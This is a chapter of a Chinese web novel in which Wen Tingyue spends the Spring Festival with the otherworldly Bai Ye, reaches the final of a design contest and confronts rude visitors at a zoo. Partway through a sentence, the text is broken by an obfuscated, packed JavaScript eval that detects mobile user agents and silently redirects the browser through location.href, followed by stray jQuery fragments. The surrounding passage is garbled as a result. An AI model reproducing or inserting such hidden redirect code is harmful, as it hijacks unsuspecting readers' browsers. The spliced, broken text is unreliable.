年夜饭结束后。


    八点整一到，闻庭月不由分说地把白烨赶出了厨房，自己揽下了收拾的活儿，催促他去看春节联欢晚会。


    “这是必看节目，虽然没小时候有趣了，但对你来说，还是很有新鲜感的。”


    白烨看得云里雾里的，特别是那个魔术环节，觉得幼稚得可怕。


    没过多久，闻庭月也收拾完厨房，陪他一起坐在沙发上。


    她看了一会儿节目，便忍不住玩起了手机，越玩越困，最后竟不知不觉倒在沙发上睡着了。


    直到《难忘今宵》的前奏响起，她才猛然惊醒。


    “该新年倒数了！”


    两人推开阳台的门，走到外面。


    倒数时分，整座城市瞬间变成了烟花的海洋。


    不同与跨年夜时与热闹的人群一起倒数，这一次，闻庭月身边只有白烨。


    “这个蓝色的好看，哇，那边金色的烟花好大。”闻庭月家位于高楼层，周围几乎没有遮挡，简直是烟花的最佳观赏点。


    她努力仰着头，像是要把每一朵烟花都刻进记忆里。


    但正所谓高处不胜寒，才没看一会儿，闻庭月就感觉到全身的凉意，随后打了一个大大的喷嚏。


    “好像有点冷……等我一下。”她快步跑回卧室，拿起一条毛毯，又急匆匆地冲回阳台，生怕错过那些转瞬即逝的烟花。


    “你冷吗？我们一起裹着吧？”闻庭月转头看向白烨，毛毯足够大，完全可以两人一起裹。


    白烨也侧头看她，没有实体的人自然不会觉得冷，但能感觉出她的确很怕冷。


    就在这时，白烨忽然伸出手，轻轻握住了闻庭月的左手。


    闻庭月瞬间愣住了，不敢置信地盯着他，连呼吸都不敢大声，静静等着白烨的下一步动作。


    难道白烨开窍了？


    在这种浪漫的氛围下，他情不自禁做出点出格的事儿，也是很正常的，对吧？


    就在闻庭月羞涩地低下头时，只听见他开口道：“抓着我，就不冷了。”


    话音落下，闻庭月就感觉到一股暖流从他的手心传来，迅速游遍全身，驱散了寒意。


    原来……他是要给我取暖啊。


    闻庭月脸上闪过一丝失望。


    她原本期待的是白烨的开窍，却没想到他只是单纯地想帮她取暖。


    化身为‘暖手宝’的白烨还不知道，为何闻庭月的情绪突然低落了下来。他依旧握着她的手，目光专注地看着天边的烟花。


    算了，不开窍又如何呢？


    闻庭月重重呼出一口气，心里默默安慰自己。


    真爱瞬息万变，朋友也只能陪你走一段人生路。


    人终究是孤独的。


    唯独只有白烨不同，即使他是为了任务而来，也会永远永远陪伴在她身边。


    这就够了。


    “这是我们俩度过的第一个春节。”闻庭月释然地笑了笑，目光重新投向夜空中的烟花。活在当下才最重要，她不想再为那些虚无缥缈的期待而烦恼。


    “嗯。”白烨应了一声。


    闻庭月开玩笑道：“以后还会有第十个、第二十个……我会努力保养身体，争取咱们能过五十个春节。”


    白烨微微侧眸，温声道：“我们还有七十一个春节可以一起过。”


    闻庭月：“？？？”


    为什么精确到了71？


    他好像又说漏了嘴。


    闻庭月很快反应了过来，眼睛一亮，“所以，我能活到95岁是吗？我居然这么长寿！”


    白烨莞尔：“只要没有外力的影响，就可以。”


    看他这表情，不像是不小心说漏嘴，更像是故意透露给闻庭月听的。


    只是当下闻庭月的注意力已经转到别处，追问着：“外力指什么？是外星生物吗？”


    “是的。”


    “那你可要保护好我啊！”


    “一定。”


    ……


    烟花仍旧在夜空绽放，绚烂的光芒将两人的身影紧紧笼罩在一起。


    *


    这个春节成为闻庭月人生中最难忘的回忆之一，足以载入她临终前的回忆章节。


    大年初一，她和白烨就开始了短途旅行，将东城周边的城市都游了个遍。


    直到初八那天，重返岗位的闻庭月仍意犹未尽，坐在办公桌前，直感叹：快乐的时光总是短暂的。


    好在一切仿佛都否极泰来。


    上班第一天，她就收到了一个天大好消息。


    白烨私自为闻庭月报名的珠宝设计大赛，她成功入围了！


    一周后将举行现场投票评选。


    看到邮件的那一刻，闻庭月差点从椅子上跳起来。她揉了揉眼睛，反复确认了好几遍，才敢相信这是真的。


    要知道，这可是业内极具含金量的大赛！她的设计竟然入围了！


    就算到时候现场评选时，她没有拿到好成绩，至少也能混到个安慰奖项。


    对她这种非专业的外行人来说，这已经是莫大的荣誉了。


    这一天，闻庭月成了公司里唯一没有“节日综合症”的人，满面春光，嘴角的弧度几乎就没下去过。


    终于熬到下班，她迫不及待地冲出公司，想要当面把这个好消息告诉白烨。


    白烨已经从武道馆下班，早早等在了大厦楼下。


    闻庭月一看到他，就欢快地跑了过去。


    还没等站稳，就迫不及待地抓住他的胳膊，笑着说：“我有个好消息要告诉你！”


    白烨看着她，微愣：“什么好消息？”


    “我入围了！就是你帮我报名的那个珠宝设计大赛！”闻庭月仰起头，眼眸里满是感激，“多亏了你，否则我都没勇气去投稿。白烨，谢谢你。”


    “不用谢我，是你自己的实力。”白烨摇了摇头。


    闻庭月笑得眉眼弯弯，忽然凑近一步，侧头问道：“作为报答，你想要什么？我给你买！”


    白烨思考了片刻，随后开口：“想要两张门票。”


    闻庭月没听明白：“什么门票？”


    “两张动物园的门票。”


    闻庭月想起来了，当时白烨最沉迷《动物世界》的那段时间里，她曾敷衍地承诺过，说以后一起去动物园。


    后来烦心事太多，早把这个承诺抛诸脑后了。


    难道白烨一直记着？


    现在补偿应该还来得及，闻庭月连声答应：“好，那我们周末去动物园！”


    *


    周日。


    闻庭月如约和白烨来到了东城最大的野生动物园。


    去的路上，她充满信心，暗暗盘算着要给白烨当一回导游。


    原计划是闻庭月这个土生土长的现代人，来给白烨介绍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382565|166875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生存在这个时代的动物。


    结果却完全出乎她的意料。


    闻庭月渐渐发现，自己也就只能介绍简单的老虎、长颈鹿、狮子、大象等等。


    面对那些名称复杂的灵长类，和长得近乎一样却名称不同的鸟类，闻庭月完全搞不懂，连看着简介读，也能遇到看不懂的生僻字。


    比如，走到鹿科区域时，闻庭月随意一瞥，指着那些小鹿介绍：“这些是黑鹿。”


    白烨却道：“这种不叫黑鹿。”


    “不是吗？”闻庭月赶紧低头看了一遍介绍牌，果然不是“鹿”字。


    “这些是黑麂。”


    “哈哈哈，都是鹿嘛，差不多。”闻庭月干笑两声，快步离开这个区域。


    真是太丢现代人类的脸了！


    反倒是白烨，他早就做好了功课，对每一种动物的习性、特征都了如指掌。


    几个来回下来，闻庭月终于认命了。


    白烨的确比她聪明许多，他们未来人仿佛都拥有过目不忘的技能。


    两人来到了游客最多的猴山附近，白烨又性质颇高地说起来。


    “很多猴类都是左撇子。”他微微扬起下巴，眼神专注地看着猴山上那些灵活的身影，“比如红面猴、猕猴、食蟹猴，左撇子的数量比右撇子还多。”


    “真的啊？好神奇。”闻庭月被他的话吸引，探长了脖子，仔细盯着猴山上的猴子们，想看看有哪些在用左手吃东西。


    “还真有耶，你瞧。”她忽然眼睛一亮，拉了拉白烨的袖子，指向一只正用左手抓着食物的小猴子。


    可就在这时，一道抛物线突然划过，有人把吃剩的半个面包扔进了猴山。


    正在玩耍的小猴子们被吓了一大跳，其中一只甚至掉进了水里，发出凄惨的叫声。


    扔面包的是一位浓妆的女人，正红色的口红色是她脸上最醒目的地方。


    始作俑者看到这一幕，开始哈哈大笑。


    见这位随意投喂的女游客还想继续朝里面扔东西，周围有看不下去的游客出声阻止，却被她身旁的纹身男友呛了一句：“关你屁事。”


    那游客悻悻然地离开，不敢惹这对没素质的情侣。


    闻庭月皱了皱眉，心里有些不爽，但她也不傻，知道自己单独过去阻止肯定会挨骂。


    于是，她朝白烨使了个眼色，拖着他一起过去。


    “不好意思啊。”闻庭月走到了这对情侣身边，语气礼貌却带着嘲讽，“请问你们是不识字吗？”


    “啊？”红唇女人反应过来后，瞪大了眼睛怒骂道：“你说什么呢？你再给我说一遍！”


    “原来不止眼睛不好啊，耳朵也不好。”闻庭月轻笑：“那我再重复一遍，你们是不是不识字？牌子上写了那么大的‘请勿投喂’四个字，压根看不见吗？”


    “关你屁事啊，傻X。”红唇女人开始骂骂咧咧。


    她男友见状，立刻扔掉了手里的烟头，走过来给她撑腰，语气凶狠：“你他妈有病吧，多管闲事！”


    “老公，这臭女人骂我。”女人有了男友做靠山，底气更足了，把闻庭月全家都挨个问候了一遍。


    不过，闻庭月的全家只剩她一人，心里一点不慌。


    论靠山？像谁没有似的。


    闻庭月一把搂住白烨的胳膊，学着对方的语气，娇滴滴地说道：“老公，这丑女人骂我。”